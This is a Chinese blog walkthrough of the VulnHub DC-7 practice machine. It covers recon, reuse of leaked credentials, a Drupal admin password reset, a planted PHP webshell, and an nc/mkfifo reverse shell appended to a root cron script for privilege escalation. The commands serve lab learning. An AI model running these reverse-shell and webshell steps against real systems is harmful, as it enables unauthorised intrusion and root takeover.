dc-7 靶机渗透学习

2023-11-11

信息收集

扫描当前网段

nmap -sP 192.168.202.0/24

查看开启的端口服务

nmap -A -p- -v 192.168.202.146

访问靶机的80端口,通过Wappalyzer识别出是Drupal 8

先看一下靶机的说明

不是技术性的?跳出框框去思考?ememm,那先观看一下网站的特点吧 。

对比新搭建的Drupal框架,发现在最下方多了一个@DC7USER。

在这里插入图片描述

去谷歌搜索一下@DC7USER,发现了一个Dc7User

进入staffdb项目看看,在config.php发现账号密码

可能是后台的账号密码,试着进行登录

显示密码错误,这时候想到刚开始扫的时候,22端口有ssh,尝试进行登录

ssh dc7user@192.168.202.146

登陆成功

 漏洞利用

尝试一下SUID提权和免密使用root级别命令,都失败了。那么就看一下/home/dc7user目录下的文件,发现一个backups文件夹和一个mbox文件。

进入backups文件夹,发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码。

发现在mbox中记录着root的定时任务,项目位置为/opt/scripts/backups.sh

查看一下/opt/scripts/backups.sh

 如果这个文件可写,那么直接就可以反弹shell提权了。使用ls -l看一下权限,发现只有root和www-data可写。

这条路行不通,那仔细看一下backups.sh里面的命令

 gpg命令是用来加密文件的,加密后的文件都是乱码

drush是一个简化了创建和管理Drupal8网站的命令行工具

查看drush的命令

回到/var/www/html,尝试修改www-data的密码

drush upwd admin --password="123456"

第15章 使用 Drush · Begining Drupal 8 中文版 (gitbooks.io)

Drupal drush 常用命令 - 知乎 (zhihu.com)

回到登录页面登录,可以登录成功

四处寻找一下漏洞,发现在Content => Add content =>Basic page处似乎可以写shell。

但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入。进入Extend => Install new module,输入php模块包的url。

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

点击install进行安装,安装完毕后点击中间这个去激活模块。

 

勾选后拉到最后面点击install,php模块就激活好了,回到Basic page这里写shell。

 用蚁剑进行连接

反弹shell 

连接后进入虚拟终端反弹shell

监听kali机的8888端口

nc -lvnp 8888

在蚁剑的虚拟终端 

nc -e /bin/bash 192.168.202.129 8888

交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

提权

拿到了www-data的权限,接下来可以编辑上面所说的backups.sh,来进行提权了。

进入所在目录

cd /opt/scripts

将nc -e /bin/bash 192.168.202.129 1234之类的弹shell命令写进backups.sh,定时任务会以root身份执行这个sh文件,从而反弹root的shell完成提权。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.202.129 1234 >/tmp/f" >> backups.sh
 
或

echo "nc -e /bin/bash/ 192.168.202.129 1234" >>backups.sh

不能用>,因为>会覆盖原有内容,>>是追加内容。

在kali机接收shell就行了。

参考文章

 Vulnhub靶机实战——DC-7_冠霖L的博客-CSDN博客_dc7靶机

DC:7靶机-Walkthrough_1nsIght的博客-CSDN博客

VulnHub——DC-7_Anranaaaa的博客-CSDN博客

 第15章 使用 Drush · Begining Drupal 8 中文版 (gitbooks.io) 

Drupal drush 常用命令 - 知乎 (zhihu.com)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

dc-7 靶机渗透学习 的相关文章

  • 通过一个寒假能学会黑客技术吗?看完你就知道了

    一个寒假能成为黑客吗 资深白帽子来告诉你 如果你想的是学完去美国五角大楼内网随意溜达几圈 想顺走一点机密文件的话 劝你还是趁早放弃 但是成为一名初级黑客还是绰绰有余的 你只需要掌握好渗透测试 Web安全 数据库 搞懂web安全防护 SQL注
  • 一个网工(网络工程师)七年的职业血泪史....

    前言 一个工作了七年的老网工 上家公司待了五年 现在这家公司也快三年了 分享一些我自己学习网络安全路上的一些经历 也算是帮大家少走些弯路 一 如何学习网络安全 1 不要试图以编程为基础去学习网络安全 不要以编程为基础再开始学习网络安全 一般
  • 【网络安全】Web缓存欺骗攻击原理及攻防实战

    Web缓存欺骗是一种新的攻击方式 危害范围可扩大至各种技术及框架 本文仅分享Web缓存攻击知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 文章目录 前言 攻击前提及原理 实例一 ChatGPT帐户接管漏洞 实例二 P
  • Web 安全漏洞之 OS 命令注入

    什么是 OS 命令注入 上周我们分享了一篇 Web 安全漏洞之 SQL 注入 其原理简单来说就是因为 SQL 是一种结构化字符串语言 攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句 而今天要讲的 OS 命令注入其实原理和 SQL
  • 5个步骤,教你瞬间明白线程和线程安全

    记得今年3月份刚来杭州面试的时候 有一家公司的技术总监问了我这样一个问题 你来说说有哪些线程安全的类 我心里一想 这我早都背好了 稀里哗啦说了一大堆 他又接着问 那你再来说说什么是线程安全 然后我就GG了 说真的 我们整天说线程安全 但是对
  • WEB前端常见受攻击方式及解决办法总结

    一个网址建立后 如果不注意安全问题 就很容易被人攻击 下面讨论一下集中漏洞情况和放置攻击的方法 一 SQL注入 所谓的SQL注入 就是通过把SQL命令插入到web表单提交或输入域名或页面请求的查询字符串 最终达到欺骗服务器执行恶意的SQL命
  • 2024年网络安全十10大发展趋势发布

    2023年网络安全十10大发展趋势发布 近日 中国计算机学会 CCF 计算机安全专委会中 来自国家网络安全主管部门 高校 科研院所 大型央企 民营企业的委员投票评选出2023年网络安全十大发展趋势 福利 趋势一 数据安全治理成为数字经济的基
  • Android SDK开发艺术探索(五)安全与校验

    一 前言 本篇是Android SDK开发艺术探索系列的第五篇文章 介绍了一些SDK开发中安全方面的知识 包括资源完整性 存储安全 权限校验 传输安全 代码混淆等知识 通过基础的安全配置为SDK保驾护航 探索SDK开发在安全方面的最佳实践
  • 「网络安全渗透」如果你还不懂CSRF?这一篇让你彻底掌握

    1 什么是 CSRF 面试的时候的著名问题 谈一谈你对 CSRF 与 SSRF 区别的看法 这个问题 如果我们用非常通俗的语言讲的话 CSRF 更像是钓鱼的举动 是用户攻击用户的 而对于 SSRF 来说 是由服务器发出请求 用户 日 服务器
  • 【网络安全】Facebook代码执行实现命令执行、敏感信息泄露

    部分网站开设编码练习 若安全配置不当 则代码执行将升级为操作系统命令注入 导致敏感信息泄露 本文仅分享命令执行相关知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 未经许可 不可转载 文章目录 信息泄露 扩大危害 信息
  • 【网安神器篇】——WPScan漏洞扫描工具

    目录 一 Wordpress简介 二 WPScan介绍 三 安装 四 获取token 1 注册账号 2 拿到token 五 使用教程 1 常用选项 2 组合命令 1 模糊扫描 2 指定扫描用户 3 插件漏洞扫描 4 主题漏洞扫描 5 Tim
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 网络安全基础知识面试题库

    1 基于路由器的攻击手段 1 1 源IP地址欺骗式攻击 入侵者从外部传输一个伪装成来自内部主机的数据包 数据包的IP是 内网的合法IP 对策 丢弃所有来自路由器外端口 却使用内部源地址的数据包 1 2 源路由攻击 入侵者让数据包循着一个不可
  • 你的服务器还安全吗?用户数据是否面临泄露风险?

    一系列严重的网络安全事件引起了广泛关注 多家知名公司的服务器遭到黑客挟持 用户的个人数据和敏感信息面临泄露的风险 这些事件揭示了网络安全的脆弱性和黑客攻击的威胁性 提醒着企业和个人加强对网络安全的重视 一 入侵案例 1 1 蔚来数据泄露 1
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 为什么这么多人自学黑客,但没过多久就放弃了(掌握正确的网络安全学习路线很重要)

    网络安全是一个 不断发展和演变 的领域 以下是一个 网络安全学习路线规划 旨在帮助初学者快速入门和提高自己的技能 基础知识 网络安全的 基础知识 包括 网络结构 操作系统 编程语言 等方面的知识 学习这些基础知识对理解网络安全的原理和技术至
  • 【安全】mybatis中#{}和${}导致sql注入问题及解决办法

    0 问题 使用mybatis的时候遇到了 和 可能导致sql注入的问题 1 预先了解 1 底层通过prepareStatement对当前传入的sql进行了预编译 一个 被解析为一个参数占位符 解析之后会将String类型的数据自动加上引号
  • 【安全】Java幂等性校验解决重复点击(6种实现方式)

    目录 一 简介 1 1 什么是幂等 1 2 为什么需要幂等性 1 3 接口超时 应该如何处理 1 4 幂等性对系统的影响 二 Restful API 接口的幂等性 三 实现方式 3 1 数据库层面 主键 唯一索引冲突 3 2 数据库层面 乐
  • 【安全】使用docker安装Nessus

    目录 一 准备docker环境服务器 略 二 安装 2 1 搜索镜像 2 2 拉取镜像 2 3 启动镜像 三 离线更新插件 3 1 获取challenge 3 2 官方注册获取激活码 3 3 使用challenge码和激活码获取插件下载地址
  • 【安全】网络安全态势感知

    文章目录 一 态势感知简介 1 概念 2 形象举例 3 应具备的能力 二 为什么要态势感知 为什么网络安全态势感知很重要 三 态势感知系统的功能 四 如何评估态势感知的建设结果 五 什么是态势感知的三个层级 四 业界的态势感知产品 1 安全

随机推荐

  • 安装gcc出错,解决/etc/yum.repos.d/*.repo文件不可用问题

    在目前的系统安装gcc 会出现以下问题 root bes2 yum install gcc Loaded plugins rhnplugin This system is not registered with RHN RHN suppor
  • 纯C语言开发无java、无dex的安卓native apk(新NDK-r23e + WSL)---2022笔记

    之前的测试 使用的都是非常老的 NDK NDK r10b 好像是2014年发布的 使用新的 NDK r23e 后 代码中的makefile等也无需做什么调整 可以直接使用 但还是碰到个跟 跨系统环境 有关的大坑 我是在 win10 环境下载
  • Hyperledger Fabric 链码生命周期

    目录 一 什么是链码 二 部署链码 2 1 安装和定义链码 2 1 1 打包智能合约 2 1 2 peer节点安装链码 2 1 3 组织批准链码 2 1 4 将链码提交到通道 2 2 升级链码 总结 一 什么是链码 ChainCode 链码
  • openwrt opkg错误的问题解决办法之一

    解决方法 echo nameserver 114 114 114 114 gt tmp resolv conf rm f var lock opkg lock opkg update
  • 如何设计出优秀的LOGO?设计大神告诉你!

    如何设计出优秀的LOGO 设计大神告诉你 精选页面设计图形设计产品设计 自古人类就痴迷于各种几何形状 它们出现于各种古代文明的壁画 文献 启发了文明 催生技术 丰富了文学艺术 圆形的结构 线条的交汇 稳固的三角 无数次地出现在我们的文本 建
  • Java案例实现用户登录

    实现过程 1 已知用户名和密码 用两个字符串表达即可 2 用循环实现多次机会 这里次数明确 采用for循环实现并在登录成功后以break结束 3 用键盘录入需要登录的用户名和密码 用 Scanner 实现 4 那键盘录入的用户名密码和已知的
  • 什么是agent?

    Agent的概念由Minsky在其1986年出版的 思维的社会 一书中提出 Minsky认为社会中的某些个体经过协商之后可求得问题的解 这些个体就是Agent 他还认为Agent应具有社会交互性和智能性 从此 Agent的概念便被引入人工智
  • [转载] Ubuntu18.04 新安装的MYSQL如何忘记或初始化root用户密码

    版权声明 本文为博主原创文章 遵循 CC 4 0 by sa 版权协议 转载请附上原文出处链接和本声明 本文链接 https blog csdn net qq 38737992 article details 81090373 1 首先输入
  • 复现旧版STGCN GPU版 (win10+openpose1.5.0)

    参考 下载stgcn先放着 gitbub上fork后导入到gitee快些 https gitee com chenhongqiong st gcn git 也可以直接下载zip文件后解压 一 准备 官方要求 1 openpose1 5 0
  • 原生JS获取和设置指定属性

    获取和设置属性 getAttribute object getAttribute attribute 注 getAttribute方法不属于document对象 它只能通过元素节点对象调用 setAttribute object setAt
  • 通过proc文件系统,查看进程资源消耗

    1 查看内存消耗 cat proc pid status grep VmSize 返回虚拟内存使用 和使用top命令查看的数值一样 2 查看cpu消耗 cat proc pid stat 下面是前面部分数据 6061 a out R 577
  • BES 平台 SDK之提示音的添加

    本文章是基于BES2700 芯片 其他BESxxx 芯片可做参考 如有不当之处 欢迎评论区留言指出 仅供参考学习用 BES 平台 SDK之按键的配置 谢文浩的博客 CSDN博客 关于系统按键简介可参考上一篇文章 链接如上所示 一 提示音的制
  • Python 10大可视化工具 (附详细教程)

    今天分享10个适用于多个学科的Python数据可视化库 其中有名气很大的也有鲜为人知的 1 matplotlib 保姆级教程 Matplotlib 两个直方图 matplotlib 是Python可视化程序库的泰斗 经过十几年它任然是Pyt
  • 计算软件测试数据流图独立路径,软件测试技术(2)

    最小值 其中k i 期望结果 基于k的正确平均值和总数 路径5测试用例 value i 有效输入 其中i 100 value k 最大值 其中k i 期望结果 基于k的正确平均值和总数 路径6测试用例 value i 有效输入 其中i 10
  • Basic Level 1005 继续(3n+1)猜想 (25分)

    题目 卡拉兹 Callatz 猜想已经在1001中给出了描述 在这个题目里 情况稍微有些复杂 当我们验证卡拉兹猜想的时候 为了避免重复计算 可以记录下递推过程中遇到的每一个数 例如对 n 3 进行验证的时候 我们需要计算 3 5 8 4 2
  • 50家大厂面试万字精华总结,和快手大牛的技术面谈,进阶学习资料!

    前言 MySQL 是最流行的关系型数据库管理系统 RDBMS 之一 MySQL作为一个关系型数据库管理系统 因为其速度 可靠性和适应性而备受关注 大多数人都认为在不需要事务化处理的情况下 MySQL是管理内容最好的选择 虽然功能未必很强大
  • Flutter(一)介绍、Dart语言简介

    目录 Flutter介绍 跨平台技术简介 1 跨平台自绘引擎 2 高性能 Flutter 为什么选择 Dart 语言 1 开发效率高 2 高性能 3 快速内存分配 4 类型安全和空安全 5 Dart 团队就在你身边 Flutter框架结构
  • VS2010编译静态链接MFC的OCX遇到的问题:nafxcwd.lib(dllmodul.obj) : error LNK2005: _DllMain@12 已经在 LIBCMTD.lib(dllm

    打开工程属性页 配置属性 gt 链接器 gt 输入 忽略特定默认库添加 LIBCMTD lib nafxcwd lib 附加依赖项添加 nafxcwd lib LIBCMTD lib 目的是调整依赖库链接顺序 其他类似的问题也可以这样解决
  • 信息安全专业好不好?

    信息安全在我国起步比较晚 国外都已经很普遍了 所以如果现在学习信息安全还可以抓到一波红利 就像很多年前的JAVA一样 而且现在国家很重视安全 很多有利政策 总之安全这块还是可以尽早加入 有前途 初入计算机行业的人或者大学计算机相关专业毕业生
  • dc-7 靶机渗透学习

    信息收集 扫描当前网段 nmap sP 192 168 202 0 24 查看开启的端口服务 nmap A p v 192 168 202 146 访问靶机的80端口 通过Wappalyzer识别出是Drupal 8 先看一下靶机的说明 不